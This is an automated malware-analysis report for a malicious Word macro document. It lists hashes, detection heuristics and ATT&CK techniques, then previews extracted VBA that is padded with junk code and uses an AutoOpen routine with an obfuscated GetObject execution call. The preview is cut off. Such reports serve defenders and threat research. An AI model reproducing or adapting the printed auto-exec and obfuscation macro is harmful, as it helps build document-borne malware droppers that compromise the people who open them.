Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2bdc1bfab0e9219…

MALICIOUS

Office (OLE)

220.2 KB Created: 2019-04-02 07:47:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 777034b8e0a35cea5c4f9246a32c541a SHA-1: f2b82c3aabe022d3b65720d716fbd48336f2f99a SHA-256: c2bdc1bfab0e9219b7c6d8a5993dcbb45bf941478fefabee41eef3a7df01b759
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file is identified as malicious by ClamAV and exhibits high-severity heuristics for VBA macros, including an AutoOpen macro and GetObject calls, indicating an attempt to execute code upon opening. The presence of obfuscated VBA code suggests the macro's purpose is to download and execute a secondary payload, a common tactic for malware delivery. No specific family could be confidently identified due to the obfuscation.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6919588-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6919588-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33275 bytes
SHA-256: 5448b76a12f109251b26de72613e2a6464033b819695a037d3e16eccf9e21e3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lAD_cC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bAC1AAAD"
Attribute VB_Base = "0{2E2AF439-D4EE-4D04-9CE9-6563C4921A69}{9E6F02AF-0B4E-4CFA-A9E2-7332C215C762}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AAAw_4A"
Attribute VB_Base = "0{8AE259E3-2828-4588-8623-B48D3C1CC988}{F12D92B8-F7ED-4319-B3AB-1D0B0AF9E35D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "IBQBAAAA"
Function pCBBwA()
   If 152713288 = 483681676 Then
mQQXAxc_ = nGXDABX _
+ Int(426690258 * Hex(IAQwAXk) + tAC_CQ _
/ 797751202) + qAcAAAGX / CLng(AxUAAD) - _
(OADcoAA - pXwB_A / 520821027 - Tan _
(jAkUQA) + (j1XAAU / CSng(bAABxABx) + _
510331402 / Sgn(870945067) * (XBBAkDAD + _
CByte(465573332))))
End If
   If 450177160 = 441014717 Then
BAAUAGGZ = zADAA4 _
+ Int(460388602 * Hex(KBBUU4k) + wDkBAoQA _
/ 673587520) + EcCAAc / CLng(hAA__A) - _
(YBAAGAUB - IAwAcC / 396220721 - Tan _
(KAACUA) + (mUAAQk / CSng(aAADX1) + _
384390301 / Sgn(78485317) * (XAxA1DQQ + _
CByte(26611019))))
End If
   If 363322908 = 97670005 Then
EAkBAABA = d4ACDXAA _
+ Int(968539233 * Hex(rAAxoA) + G4CZoX _
/ 272704170) + pDAAAGD / CLng(zD1_UkG) - _
(LAAocD - S4kxAA4B / 849485895 - Tan _
(aDAAGA) + (zGoABD / CSng(MQADcA) + _
764528900 / Sgn(321495853) * (UXBUoo + _
CByte(238484480))))
End If
End Function
Function wZAQCoU()
   If 596864686 = 771607085 Then
lDc_Bw = zAABAoUQ _
+ Int(551473712 * Hex(zAAUA4Bc) + ZGCA4Ux _
/ 942629586) + XAAAoAx / CLng(UBUUAcA) - _
(JoUAUAZk - kZGB1QU / 514636582 - Tan _
(bA4UAB4Q) + (HXDDAU / CSng(CAwAAB) + _
473396418 / Sgn(868713778) * (VBQ_A4AA + _
CByte(272595982))))
End If
   If 297930600 = 408877710 Then
o4XUDUB = AAAAAGG4 _
+ Int(197581677 * Hex(MQZAAZAB) + zxDwUA _
/ 513284562) + wQBQDw_C / CLng(pBDDG1Ak) - _
(dcAcQA - rAQADD / 346674710 - Tan _
(AAAGQGAw) + (wUC_ADA1 / CSng(dxAkUkA1) + _
635858485 / Sgn(482868785) * (L4wCABx1 + _
CByte(703404815))))
End If
End Function
Sub autoopen()
kQxUwDDB
End Sub
Function kQxUwDDB()
On Error Resume Next
   If 862108966 = 936873991 Then
Xw4AoAZ = fwcCoAU _
+ Int(248018243 * Hex(kBAkGGU) + tAU1BAA _
/ 109471423) + iwUAAAQA / CLng(bQQBAAZ) - _
(zUZDAA - vkAAQAAG / 262744692 - Tan _
(aUoBw1) + (fkBAAAx / CSng(EoABXBo) + _
680655778 / Sgn(369763985) * (ZwoXkAAU + _
CByte(86370077))))
End If
   If 136842333 = 82864142 Then
twA_ZDA = LGoABQxc _
+ Int(486638207 * Hex(jU_GxC) + DoABBD _
/ 946524996) + tBAQ1ow / CLng(ZADA_Ao) - _
(ZQAABZ1B - F1_4AZ / 121673225 - Tan _
(hAQwAQ_A) + (UZGUQ_X_ / CSng(wA_AAUXA) + _
632857574 / Sgn(553183296) * (lkQZCQA + _
CByte(895516680))))
End If
Set wxoGGBAw = GetObject(bAC1AAAD.PGABGk.ControlSource + AAAw_4A.FAAZ4_ + bAC1AAAD.PGABGk.ControlTipText)
   If 695047247 = 602080439 Then
DoAcZkAA = bAAx1Z1 _
+ Int(601824687 * Hex(NUUwXUcX) + qBoAwwB _
/ 942600405) + nQQ1AxA / CLng(RxDAQAD) - _
(oDkBQXQ - mAAGD_Q / 217600977 - Tan _
(EZAAAA) + (lAkAoAA / CSng(YCcDQQ) + _
476072525 / Sgn(591514833) * (iGA_QA + _
CByte(195278649))))
End If
   If 266666163 = 183680645 Then
KCBCB_ = ooAAxAGU _
+ Int(524945109 * Hex(KABAXA_) + rU1A1w _
/ 314080968) + qDBAADk / CLng(zGAoAoQ) - _
(f1UADGUo - acQADCU / 23439690 - Tan _
(DwQAU_A) + (EUBk_U1A / CSng(IAU1QC) + _
528519800 / Sgn(225153494) * (uAoXBUUQ + _
CByte(631165628))))
End If
   If 809257156 = 763702433 Then
bABGBAZ = bQDQcA _
+ Int(642877785 * Hex(LAAADAA4) + tA4D1xAU _
/ 456012289) + RUDA_wx / CLng(uAAcQAXA) - _
(McUQQZAU - qAXCAoAA / 997322704 - 
... (truncated)